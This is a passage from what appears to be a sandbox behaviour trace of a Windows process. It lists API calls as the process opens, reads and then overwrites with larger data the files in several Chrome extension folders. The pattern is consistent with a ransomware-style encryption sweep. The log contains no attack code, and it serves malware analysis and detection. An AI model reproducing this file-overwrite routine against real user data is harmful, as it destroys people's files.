hFile=0x12c, lpBuffer=0x1ddb648, nNumberOfBytesToRead=0xfc, lpNumberOfBytesRead=0x32cf2bc, lpOverlapped=0x0 | out: lpBuffer=0x1ddb648*, lpNumberOfBytesRead=0x32cf2bc*=0xfc, lpOverlapped=0x0) returned 1 [0057.604] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf300*=0) returned 0x0 [0057.604] WriteFile (in: hFile=0x12c, lpBuffer=0x261fa88*, nNumberOfBytesToWrite=0x684, lpNumberOfBytesWritten=0x32cf2d0, lpOverlapped=0x0 | out: lpBuffer=0x261fa88*, lpNumberOfBytesWritten=0x32cf2d0*=0x684, lpOverlapped=0x0) returned 1 [0057.604] CloseHandle (hObject=0x12c) returned 1 [0057.604] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\lv\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\lv\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0057.604] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0057.605] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x102 [0057.605] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0057.605] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0057.605] ReleaseMutex (hMutex=0x128) returned 1 [0057.605] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0057.605] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x1e6316c, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="messages.json", lpUsedDefaultChar=0x0) returned 13 [0057.605] ReadFile (in: hFile=0x12c, lpBuffer=0x1ddb648, nNumberOfBytesToRead=0x102, lpNumberOfBytesRead=0x32cf2bc, lpOverlapped=0x0 | out: lpBuffer=0x1ddb648*, lpNumberOfBytesRead=0x32cf2bc*=0x102, lpOverlapped=0x0) returned 1 [0057.606] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf300*=0) returned 0x0 [0057.606] WriteFile (in: hFile=0x12c, lpBuffer=0x261fa88*, nNumberOfBytesToWrite=0x68a, lpNumberOfBytesWritten=0x32cf2d0, lpOverlapped=0x0 | out: lpBuffer=0x261fa88*, lpNumberOfBytesWritten=0x32cf2d0*=0x68a, lpOverlapped=0x0) returned 1 [0057.606] CloseHandle (hObject=0x12c) returned 1 [0057.606] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\sl\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\sl\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0057.607] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0057.607] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x10c [0057.607] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0057.607] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0057.607] ReleaseMutex (hMutex=0x128) returned 1 [0057.607] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0057.607] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x1e630cc, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="messages.json", lpUsedDefaultChar=0x0) returned 13 [0057.607] ReadFile (in: hFile=0x12c, lpBuffer=0x25fa608, nNumberOfBytesToRead=0x10c, lpNumberOfBytesRead=0x32cf2bc, lpOverlapped=0x0 | out: lpBuffer=0x25fa608*, lpNumberOfBytesRead=0x32cf2bc*=0x10c, lpOverlapped=0x0) returned 1 [0057.724] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf300*=0) returned 0x0 [0057.724] WriteFile (in: hFile=0x12c, lpBuffer=0x261fa88*, nNumberOfBytesToWrite=0x694, lpNumberOfBytesWritten=0x32cf2d0, lpOverlapped=0x0 | out: lpBuffer=0x261fa88*, lpNumberOfBytesWritten=0x32cf2d0*=0x694, lpOverlapped=0x0) returned 1 [0057.725] CloseHandle (hObject=0x12c) returned 1 [0057.725] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\128.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\128.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0057.725] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0057.725] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0xd4e [0057.725] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0057.725] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0057.726] ReleaseMutex (hMutex=0x128) returned 1 [0057.726] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="128.png", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0057.726] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="128.png", cchWideChar=7, lpMultiByteStr=0x1e6a7a4, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="128.png", lpUsedDefaultChar=0x0) returned 7 [0057.726] ReadFile (in: hFile=0x12c, lpBuffer=0x1df2e48, nNumberOfBytesToRead=0xd4e, lpNumberOfBytesRead=0x32cf2bc, lpOverlapped=0x0 | out: lpBuffer=0x1df2e48*, lpNumberOfBytesRead=0x32cf2bc*=0xd4e, lpOverlapped=0x0) returned 1 [0057.727] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf300*=0) returned 0x0 [0057.727] WriteFile (in: hFile=0x12c, lpBuffer=0x1d84048*, nNumberOfBytesToWrite=0x12d6, lpNumberOfBytesWritten=0x32cf2d0, lpOverlapped=0x0 | out: lpBuffer=0x1d84048*, lpNumberOfBytesWritten=0x32cf2d0*=0x12d6, lpOverlapped=0x0) returned 1 [0057.728] CloseHandle (hObject=0x12c) returned 1 [0057.728] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\es\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\es\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0057.728] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0057.729] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0xb3 [0057.729] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0057.729] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0057.729] ReleaseMutex (hMutex=0x128) returned 1 [0057.729] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0057.729] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x1e6312c, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="messages.json", lpUsedDefaultChar=0x0) returned 13 [0057.729] ReadFile (in: hFile=0x12c, lpBuffer=0x1e36c48, nNumberOfBytesToRead=0xb3, lpNumberOfBytesRead=0x32cf2bc, lpOverlapped=0x0 | out: lpBuffer=0x1e36c48*, lpNumberOfBytesRead=0x32cf2bc*=0xb3, lpOverlapped=0x0) returned 1 [0057.730] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf300*=0) returned 0x0 [0057.730] WriteFile (in: hFile=0x12c, lpBuffer=0x263fd98*, nNumberOfBytesToWrite=0x63b, lpNumberOfBytesWritten=0x32cf2d0, lpOverlapped=0x0 | out: lpBuffer=0x263fd98*, lpNumberOfBytesWritten=0x32cf2d0*=0x63b, lpOverlapped=0x0) returned 1 [0057.730] CloseHandle (hObject=0x12c) returned 1 [0057.730] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ja\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ja\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0057.731] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0057.731] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0xb3 [0057.731] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0057.731] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0057.731] ReleaseMutex (hMutex=0x128) returned 1 [0057.731] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0057.731] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x1e633ec, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="messages.json", lpUsedDefaultChar=0x0) returned 13 [0057.731] ReadFile (in: hFile=0x12c, lpBuffer=0x1e36c48, nNumberOfBytesToRead=0xb3, lpNumberOfBytesRead=0x32cf2bc, lpOverlapped=0x0 | out: lpBuffer=0x1e36c48*, lpNumberOfBytesRead=0x32cf2bc*=0xb3, lpOverlapped=0x0) returned 1 [0057.732] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf300*=0) returned 0x0 [0057.732] WriteFile (in: hFile=0x12c, lpBuffer=0x263fd98*, nNumberOfBytesToWrite=0x63b, lpNumberOfBytesWritten=0x32cf2d0, lpOverlapped=0x0 | out: lpBuffer=0x263fd98*, lpNumberOfBytesWritten=0x32cf2d0*=0x63b, lpOverlapped=0x0) returned 1 [0057.732] CloseHandle (hObject=0x12c) returned 1 [0057.732] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ru\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ru\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0057.733] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0057.733] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0xb3 [0057.733] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0057.733] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0057.733] ReleaseMutex (hMutex=0x128) returned 1 [0057.733] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0057.733] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x1e6312c, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="messages.json", lpUsedDefaultChar=0x0) returned 13 [0057.733] ReadFile (in: hFile=0x12c, lpBuffer=0x1e36c48, nNumberOfBytesToRead=0xb3, lpNumberOfBytesRead=0x32cf2bc, lpOverlapped=0x0 | out: lpBuffer=0x1e36c48*, lpNumberOfBytesRead=0x32cf2bc*=0xb3, lpOverlapped=0x0) returned 1 [0057.734] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf300*=0) returned 0x0 [0057.734] WriteFile (in: hFile=0x12c, lpBuffer=0x263fd98*, nNumberOfBytesToWrite=0x63b, lpNumberOfBytesWritten=0x32cf2d0, lpOverlapped=0x0 | out: lpBuffer=0x263fd98*, lpNumberOfBytesWritten=0x32cf2d0*=0x63b, lpOverlapped=0x0) returned 1 [0057.734] CloseHandle (hObject=0x12c) returned 1 [0057.734] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\zh_TW\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\zh_tw\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0057.735] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0057.735] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0xb3 [0057.735] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0057.735] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0057.735] ReleaseMutex (hMutex=0x128) returned 1 [0057.735] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0057.735] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x1e633ec, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="messages.json", lpUsedDefaultChar=0x0) returned 13 [0057.735] ReadFile (in: hFile=0x12c, lpBuffer=0x1e36c48, nNumberOfBytesToRead=0xb3, lpNumberOfBytesRead=0x32cf2bc, lpOverlapped=0x0 | out: lpBuffer=0x1e36c48*, lpNumberOfBytesRead=0x32cf2bc*=0xb3, lpOverlapped=0x0) returned 1 [0057.736] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf300*=0) returned 0x0 [0057.736] WriteFile (in: hFile=0x12c, lpBuffer=0x263fd98*, nNumberOfBytesToWrite=0x63b, lpNumberOfBytesWritten=0x32cf2d0, lpOverlapped=0x0 | out: lpBuffer=0x263fd98*, lpNumberOfBytesWritten=0x32cf2d0*=0x63b, lpOverlapped=0x0) returned 1 [0057.736] CloseHandle (hObject=0x12c) returned 1 [0057.737] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\cs\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\cs\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0057.737] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0057.737] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0xda [0057.737] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0057.737] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0057.737] ReleaseMutex (hMutex=0x128) returned 1 [0057.737] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0057.738] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x1e6312c, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="messages.json", lpUsedDefaultChar=0x0) returned 13 [0057.738] ReadFile (in: hFile=0x12c, lpBuffer=0x25c5178, nNumberOfBytesToRead=0xda, lpNumberOfBytesRead=0x32cf2bc, lpOverlapped=0x0 | out: lpBuffer=0x25c5178*, lpNumberOfBytesRead=0x32cf2bc*=0xda, lpOverlapped=0x0) returned 1 [0057.738] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf300*=0) returned 0x0 [0057.738] WriteFile (in: hFile=0x12c, lpBuffer=0x263fd98*, nNumberOfBytesToWrite=0x662, lpNumberOfBytesWritten=0x32cf2d0, lpOverlapped=0x0 | out: lpBuffer=0x263fd98*, lpNumberOfBytesWritten=0x32cf2d0*=0x662, lpOverlapped=0x0) returned 1 [0057.739] CloseHandle (hObject=0x12c) returned 1 [0057.739] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\fil\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\fil\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0057.739] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0057.739] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0xdf [0057.739] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0057.739] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0057.740] ReleaseMutex (hMutex=0x128) returned 1 [0057.740] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0057.740] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x1e633ec, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="messages.json", lpUsedDefaultChar=0x0) returned 13 [0057.740] ReadFile (in: hFile=0x12c, lpBuffer=0x25c5178, nNumberOfBytesToRead=0xdf, lpNumberOfBytesRead=0x32cf2bc, lpOverlapped=0x0 | out: lpBuffer=0x25c5178*, lpNumberOfBytesRead=0x32cf2bc*=0xdf, lpOverlapped=0x0) returned 1 [0057.741] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf300*=0) returned 0x0 [0057.741] WriteFile (in: hFile=0x12c, lpBuffer=0x261fa88*, nNumberOfBytesToWrite=0x667, lpNumberOfBytesWritten=0x32cf2d0, lpOverlapped=0x0 | out: lpBuffer=0x261fa88*, lpNumberOfBytesWritten=0x32cf2d0*=0x667, lpOverlapped=0x0) returned 1 [0057.741] CloseHandle (hObject=0x12c) returned 1 [0057.741] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\lv\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\lv\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0057.742] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0057.742] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0xe5 [0057.742] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0057.742] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0057.742] ReleaseMutex (hMutex=0x128) returned 1 [0057.742] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0057.742] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="messages.json", cchWideChar=13, lpMultiByteStr=0x1e6312c, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="messages.json", lpUsedDefaultChar=0x0) returned 13 [0057.742] ReadFile (in: hFile=0x12c, lpBuffer=0x2737c58, nNumberOfBytesToRead=0xe5, 